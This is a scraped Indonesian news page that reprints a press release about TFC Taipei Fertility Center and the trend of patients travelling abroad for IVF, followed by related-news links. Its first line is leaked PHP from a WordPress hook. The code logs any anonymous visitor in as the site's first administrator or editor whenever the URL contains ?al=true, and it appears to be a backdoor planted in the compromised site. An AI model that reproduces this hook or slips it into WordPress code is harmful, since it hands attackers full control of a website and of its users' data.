// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Tren Menunda Kehamilan dan Infertilitas di Dunia Dorong Layanan Klinik Fertilitas Lintas Negara - Hallonesia.com

Tren Menunda Kehamilan dan Infertilitas di Dunia Dorong Layanan Klinik Fertilitas Lintas Negara

Avatar photo

- Pewarta

Senin, 8 Juni 2026 - 07:49 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Studi Kasus di Asia Mengungkap Faktor Regulasi, Biaya, dan Akses Layanan dalam Menentukan Pilihan Program Fertilitas di Luar Negeri

TAIPEI, 8 Juni 2026 /PRNewswire/ — Tren menunda pernikahan dan memiliki anak, serta meningkatnya kasus infertilitas terus menjadi perhatian global. Kondisi tersebut mendorong semakin banyak individu dan pasangan mencari layanan kesehatan reproduksi di luar negara asalnya. Akibat bertambahnya usia rata-rata saat menjadi orang tua, perbedaan regulasi, biaya perawatan, dan akses layanan di berbagai negara, layanan fertilitas lintasnegara kini menjadi salah satu segmen yang memiliki karakteristik khusus dalam lanskap medis internasional.

 
Around 23.2% of the global population experiences infertility, turning the dream of parenthood into a difficult journey for countless families. Today, Taiwan’s world-class reproductive medicine has become a preferred destination for intended parents seeking fertility treatment across borders.

ADVERTISEMENT

RILISPERS.COM

SCROLL TO RESUME CONTENT

Berdasarkan data lebih dari 2.300 keluarga pasien lintasnegara yang menjalani perawatan di TFC Taipei Fertility Center, kelompok usia 35–40 tahun mendominasi profil pasien. Sementara itu, pasien berusia di atas 40 tahun mencakup hampir 30% dari total pasien. Angka tersebut menunjukkan bahwa usia ibu yang semakin lanjut dan tren menunda memiliki anak menjadi dua faktor utama yang mendorong arus kunjungan pasien fertilitas.

Bagi pasangan yang menghadapi masalah kesuburan, faktor pertimbangan ketika memilih destinasi layanan medis tidak hanya bergantung pada tingkat keberhasilan terapi. Pengalaman klinis, kualitas laboratorium, kondisi regulasi, transparansi biaya, dukungan bahasa, penjadwalan perawatan, hingga layanan tindak lanjut juga menjadi faktor penting dalam proses pengambilan keputusan.

Taiwan kini muncul sebagai salah satu destinasi bagi pasien fertilitas dari Asia, Eropa, dan Amerika Utara. Posisi tersebut didukung oleh kerangka regulasi yang matang, pengalaman klinis yang luas, standar layanan medis yang tinggi, serta biaya yang relatif lebih terjangkau dibandingkan sejumlah negara lain. Karena itu, jumlah pasien internasional yang mencari layanan fertilitas di Taiwan terus meningkat setiap tahun.

Sejak berdiri pada 2020, TFC telah melayani keluarga dari lima benua dan lebih dari 50 negara serta wilayah. Program bayi tabung atau in vitro fertilization (IVF) masih menjadi layanan yang paling diminati, diikuti dengan pembekuan sel telur, inseminasi intrauterin, dan donasi sel telur. Pasien dari Jepang dan Prancis umumnya terkendala pembatasan regulasi di negaranya, serta faktor usia ibu yang lebih lanjut. Di sisi lain, pasien asal Singapura, Malaysia, Hong Kong, dan Makau lebih mempertimbangkan efisiensi biaya dan efektivitas dalam merencanakan perawatan. Adapun pasien dari Amerika Serikat, Inggris, dan Korea Selatan kerap mencari perawatan fertilitas setelah beberapa kali mengalami kegagalan implantasi atau menurunnya cadangan ovarium.

Menurut Pendiri Taipei Fertility Center, Dr. Chii-Ruey Tzeng, selain keunggulan dalam ilmu kesehatan reproduksi, Taiwan menawarkan layanan pendukung yang membantu pasien internasional mengatasi hambatan bahasa dan sistem layanan kesehatan. Layanan tersebut juga mencakup evaluasi menyeluruh, perawatan yang dirancang khusus sesuai kebutuhan pasien, serta tindak lanjut dalam waktu yang relatif singkat.

Dengan mengintegrasikan teknologi asesmen berbasis kecerdasan buatan (AI) dan pendekatan precision medicine, TFC telah membangun model manajemen pasien terpadu yang mencakup konsultasi jarak jauh, perencanaan perawatan, komunikasi multibahasa, hingga layanan tindak lanjut pascaperawatan.

Tentang TFC Taipei Fertility Center

TFC Taipei Fertility Center merupakan institusi medis di Taiwan yang menyediakan layanan kesehatan reproduksi, embriologi, serta layanan kesehatan internasional. TFC juga menawarkan layanan evaluasi infertilitas, program bayi tabung (IVF), pembekuan sel telur, preservasi fertilitas, layanan embriologi tingkat lanjut, serta layanan reproduksi yang dirancang khusus sesuai kebutuhan pasien.

Asian Case Studies Highlight How Regulation, Cost, and Access Are Shaping International Family Choices - Taiwan has emerged as a preferred destination for fertility patients
Asian Case Studies Highlight How Regulation, Cost, and Access Are Shaping International Family Choices – Taiwan has emerged as a preferred destination for fertility patients

Berita Terkait

VT Markets Mulai Program CSR Finance Forward lewat Lokakarya Literasi Keuangan bagi Pelajar Indonesia Bersama YCAB Foundation
Didukung Bakery China, Ajang Bakery ASEAN Debut pada Agustus dan Hadirkan Inovasi Industri Bakery dan Konfeksioneri ke Asia Tenggara
Kemewahan Kecil yang Dikurasi The Ritz-Carlton, Bali dan MIKI HOUSE
Perkuat Bisnis MICE Global, Millennium Hotels and Resorts Gandeng HXE lewat Inovasi Digital.
Stevie® Awards Mengumumkan Pemenang International Business Awards® 2026 dari 78 Negara dan Wilayah
Acwa menandatangani perjanjian pengembangan bersama dengan PT GARAM untuk proyek integrasi desalinasi air laut dan garam industri dengan skala utilitas yang pertama di Indonesia
“Dear You” Tayang di Thailand dan Indonesia, Tuai Sambutan Hangat Penonton
Menghubungkan Teknologi Sensor Industri dengan Sistem Otonom: SUPCON Tampilkan Teknologi AI dan AOP Industri di OGA 2026 dan Gastech 2026
Jasasiaranpers.com dan media online ini mendukung program manajemen reputasi melalui publikasi press release untuk institusi, organisasi dan merek/brand produk. Manajemen reputasi juga penting bagi kalangan birokrat, politisi, pengusaha, selebriti dan tokoh publik.

Berita Terkait

Kamis, 13 Agustus 2026 - 06:30 WIB

VT Markets Mulai Program CSR Finance Forward lewat Lokakarya Literasi Keuangan bagi Pelajar Indonesia Bersama YCAB Foundation

Kamis, 13 Agustus 2026 - 06:23 WIB

Didukung Bakery China, Ajang Bakery ASEAN Debut pada Agustus dan Hadirkan Inovasi Industri Bakery dan Konfeksioneri ke Asia Tenggara

Kamis, 13 Agustus 2026 - 02:27 WIB

Kemewahan Kecil yang Dikurasi The Ritz-Carlton, Bali dan MIKI HOUSE

Kamis, 13 Agustus 2026 - 01:14 WIB

Perkuat Bisnis MICE Global, Millennium Hotels and Resorts Gandeng HXE lewat Inovasi Digital.

Rabu, 12 Agustus 2026 - 13:00 WIB

Stevie® Awards Mengumumkan Pemenang International Business Awards® 2026 dari 78 Negara dan Wilayah

Rabu, 12 Agustus 2026 - 09:38 WIB

“Dear You” Tayang di Thailand dan Indonesia, Tuai Sambutan Hangat Penonton

Rabu, 12 Agustus 2026 - 05:40 WIB

Menghubungkan Teknologi Sensor Industri dengan Sistem Otonom: SUPCON Tampilkan Teknologi AI dan AOP Industri di OGA 2026 dan Gastech 2026

Rabu, 12 Agustus 2026 - 03:28 WIB

Dreame X60 Ultra Extreme Hadir di Singapura pada 1 September 2026

Berita Terbaru